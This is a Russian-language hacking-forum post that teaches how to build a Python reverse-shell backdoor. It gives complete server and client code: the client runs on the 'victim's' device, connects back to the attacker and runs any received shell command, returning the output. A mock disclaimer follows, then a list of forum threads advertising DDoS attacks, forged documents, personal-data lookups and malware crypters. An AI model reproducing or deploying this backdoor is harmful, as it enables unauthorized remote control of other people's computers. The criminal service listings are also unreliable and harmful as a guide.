Интересно Клинет-сервер на Python3 на примере бэкдора

Eteriass

Original poster
Pro Member
Сообщения
109
Реакции
211
Посетить сайт
Привет ребятки. Вместе с природой очистилось и мое сознание, настолько, что я вспомнил пароль> А так как последняя тема вроде как была с бэкдором из метасплоита на питоне, мы сегодня воссоздадим этот самый бэкдор и глянем таки, шо у него внутри. Погнали
1640684936029.png

Для написания сего инструмента мы будем использовать блага стандартной библиотеки, а именно ՝ os, subprocess ну и socket разумеется. Как говорил один мой рыжий товарищ :
1640685059569.png
Файлов будет 2, клиентское и серверное приложение соответственно. Начнем с сервера

Python:
# Импортируем модуль для работы с сокетами

import socket

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "0.0.0.0" 
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket()  #Создаем экземпляр классa socket
s.bind((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу bind наш айпи и порт
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Повторное использование IP-адреса и порта
s.listen(5) #Начинаем слушать
print(f"Слушаем {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept() #Принимаем подключение
print(f"{client_address[0]}:{client_address[1]} Connected!")
cwd = client_socket.recv(BUFFER_SIZE).decode()#Декодируем байтовую строку
print("Рабочий каталог :", cwd)

#Начинамем бесконечный цикл, в котором отправляем команду нашему клиенту, который находиться на устройстве жертвы
#Получаем вывод команды, декодируем и вывдоим, и так до тех пор, пока мы не ввели команду "exit"
while True:
    command = input(f"{cwd} $> ")
    if not command.strip():
        continue
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    output = client_socket.recv(BUFFER_SIZE).decode('utf-8')
    print("Вывод :", output)
    results, cwd = output.split(SEPARATOR)
    print(results)

#Отключаем клиента и закрываем сокет
client_socket.close()
s.close()

И клиент:
Python:
# Импортируем модуль для работы с сокетами
# Модуль для работы с операционной системой
# Модуль для запуска процессов из питона
import socket
import os
import subprocess

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "localhost"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket() #Создаем экземпляр классa socket
s.connect((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу connect айпи и порт нашего сервера
cwd = os.getcwd() #Получаем адрес каталога, в котором находимся
s.send(cwd.encode()) #Отправляем адрес серверу


#Начинаем бесконечный цикл, в котором получаем команду от сервера и исполняем
while True:
    command = s.recv(BUFFER_SIZE).decode()
    #Разделяем команду по разделителю, который мы создали раньше
    splited_command = command.split(SEPARATOR)
    if command.lower() == "exit": #если получаенная команда, это "exit", выходим из цикла и закрываем подключение
        break
    if "cd " in command: #Если "слово" cd присутствует в нашей команде
        try:
            """
            Удаляем "cd"
            меняем каталог на тот, который указан в строке
            """
            directory = str(command).replace('cd ', '').strip()
            os.chdir(str(directory))
        except FileNotFoundError as e: #если файл не найден, передаем ошибку
            output = str(e)
        else:
            output = "" #Если ни один из исключений не произошел, переопределяем вывод в пустую строку
    else: #А если это не команда "cd", просто исполняем эту команду и возвращаем вывод
        output = subprocess.getoutput(command)
    cwd = os.getcwd() #Получаем рабочий каталог
    message = f"{output}{SEPARATOR}{cwd}" #Формируем наш ответ серверу
    s.send(message.encode()) #Отправляем

#Если цикл прерван, закрываем сокет
s.close()

Такс, ну щас попробуем, за неимением альтернативы, и злоумышленником и жертвой буду я сам, иии
1640689782979.png

Как видим команды выполняются, исполним еще несколько:
1640689822869.png
И, все как видим в порядке.

Такс, ну и что же мне пиздануть напоследок, хмм... Ну , во первых с вот-вот наступающим Новым Годом вас! Такая короткая статейка конечно так себе подарок, но и старик Чумной доктор это вам не Дед Мороз). Хочу... я много чего хочу, но конкретно сейчас, хочу пожелать вам счастья, здоровья и запасной печени, чтобы эти праздники **кхм** пережить...

P.s. Ну куда же мы без дисклеймера :)

На этом пожалуй все и не забывайте, что статья написана только для ознакомления, и вообще все это фотошоп, монтаж, бред, БДСМ и другие умные слова. А автор писал под диктовку высших сил, и в душе не ебет че только что произошло, вот. Через года два, дай Бог свидимся)

P.p.s Если лень переписывать, файлы найдете

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

 
Название темы
Автор Заголовок Раздел Ответы Дата
W Бесплатный сервер VPS за 5 минут Раздача (аккаунтов/ключей) 2
Tania1212 Создал Discord сервер где будет моя музыка … Видео/Музыка 1
АнАлЬнАя ЧуПаКаБрА INLINE GTA 5 Чекер на rp сервер Проекты Private Keeper 0
Admin Интересно Дамп mc-magicstore.ru (Русский minecraft сервер) Другое 0
Admin Интересно Jabber сервер ufolabs.im Информация по работе сайта и форума 3
A Взломали архивный сервер Pale Moon Новости в сети 0
Tania1212 Продам Продаю сервер работающий под Android приложение на тематику анонимного чата Сайты/Хостинг/Сервера 0
T0pDro4eR Open Server - портативный локальный сервер Другие ЯП 0
klobald Как настроить почтовый сервер для обхода спам-фильтров: руководство по DNS, SPF, DKIM Уязвимости и взлом 0
Forceful ддос / ддос атака / атака сайт / ddos атака / сервер атака / отключить сайт / заблокировать сайт Спам / Флуд / Ддос 48
VipRin1 Как поднять dns-сервер Полезные статьи 1
Forevonly Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
Forevonly XAMPP - Web-сервер Полезные статьи 0
Sasha3I8I2 Как делать DDos/Dos атаки через VDS сервер Spam/DDOS/Malware 0
iTzKillRillZz За сколько сольете мне DB Майнкрафт сайта(рашин сервер)) Полезные статьи 0
Admin Хакеры взломали dns-сервер сервиса blackwallet и похитили $400 тыс. в криптовалюте Новости в сети 0
Allen Запускаем собственный VPN-сервер на SSD VDS Полезные статьи 0
K Как взломать сервер андроид приложения? Вопросы и интересы 3
kaziken Как открыть CS 1.6 сервер ? Вопросы и интересы 1
Secruity(ушел в подполье) Чекер базы на паблик и отправка привата на сервер Вопросы и интересы 6
SMSvTelegram Зарабатывать на привлечении клиентов в телеграм бот. Получайте % от продажи товаров! Ищу работу. Предлагаю свои услуги. 0
Buhtaobmena Buhtaobmena - быстрый и безопасный обмен BTC/USDT/ETH на рубли и обратно Обменники 0
КАРНАВАЛЬНЫЙ ТЕЛЕФОННЫЕ ПРАНКИ И НЕ ТОЛЬКО! Виртуозно играю на нервах ваших врагов. Ищу работу. Предлагаю свои услуги. 1
yaNaSvyazi [CRYPTOLOGY] SMART MONEY. Полный курс по смарт-мани на русском языке (2022) Способы заработка 0
S На проверке Удостоверение журналиста + пресскарта + пропуск на авто. Официально и с подтверждением. Аккаунты/Админки/Документы 1
W Продам ★ WELL-WEB ★ Хостинг от 1.99$ ★ VPS от 8.99$ ★ Серверы от 29$ ★ 7 лет на рынке ★ Лояльны к жалобам ★ Заказывайте и получите 6 мес в подарок! Дедики/VPN/соксы/ssh 0
TimeGood2030 Схема Делаем 90.000₽ на многоходовочке Способы заработка 0
V Нуждаюсь в рассылке на email Спам, рассылки, трафик, SEO 0
D3v1l Бесплатный Чекер логов на YOUTUBE/STEAM/BATTLE.NET/FB/G-PAY/Binance/Coinbase/FREEBTC/icloud/yahoo/hotmail | Софт который сделает всю работу за тебя! Продажа софта 1
FCleads На проверке Продам базы лидов Forex, Crypto, Chargeback (под возврат) терявшие на Форекс Все что не подошло по разделу 1
panther Проверено Продам фото и сканы реальных документов✅ (Passport, DL, ID, Selfie and other documents) Все страны, кроме СНГ❗️ Возможна отрисовка на реал. данные Аккаунты/Админки/Документы 0
M Приму залив на карту МИР без предоплаты. Вопросы и интересы 0
Xisari Автоматический криптор малварей на C#.Net Вирусология 0
S На проверке Траффик на любые ваши проекты! Ищу работу. Предлагаю свои услуги. 1
D На проверке Приватный пак на 1 гб Обучения, схемы, мануалы 1
VirtyalSrvc На проверке Virtyal Attack Service DDoS!Заказать Атаку на Сайт!Качество/Гарантия/Анонимность! Ищу работу. Предлагаю свои услуги. 1
petrovka Продам Пробив сервис на Петровке: Солярис, ФНС, ГИБДД, МВД, ЕГРН и прочее Пробив информации/Прозвоны 2
D Dvizh.com - обмен криптовалют на наличные по всему миру! Обменники 7
Denik MIX Пак ссылок на базы anonfile.com Раздача email 0
D Проводится складчина на покупку пака качественных шаблонов по USA для отрисовки и верефикаций сервисов. В данный момент уже есть 4 человека, кому инте Корзина 0
iphoster VPS/VPN - Объявляем о старте Акции и снижаем цены на -50% Сайты/Хостинг/Сервера 1
BullFrog Продам ⁣ Аренда SurfShark VPN на 1 год с Гарантией - 25$ Аккаунты/Админки/Документы 0
KnyazService Реклама в Telegram чатах | Knyaz Service - старейший сервис на рынке Спам / Флуд / Ддос 2
Mr. COVID Официальный сертификат вакцинации от COVID-19 на ваших госуслугах Ищу работу. Предлагаю свои услуги. 2
DOMINUS AstraZeneca оставила пароль от своего сервера на GitHub Новости в сети 0
DOMINUS Мошенники обманули Альфа-Банк на 60 миллионов рублей Новости в сети 0
P Читы на ксго Раздача (аккаунтов/ключей) 0
P Ищю человека на онлайн, черно-серая схема. 400$ в день. Предоставляю работу. Ищу специалиста. 0
C Cryex.pro - Обмен криптовалюты на наличные в России Обменники 0
balof Windscribe VPN – 30 ГБ в месяц на 1 год Другое 0

Название темы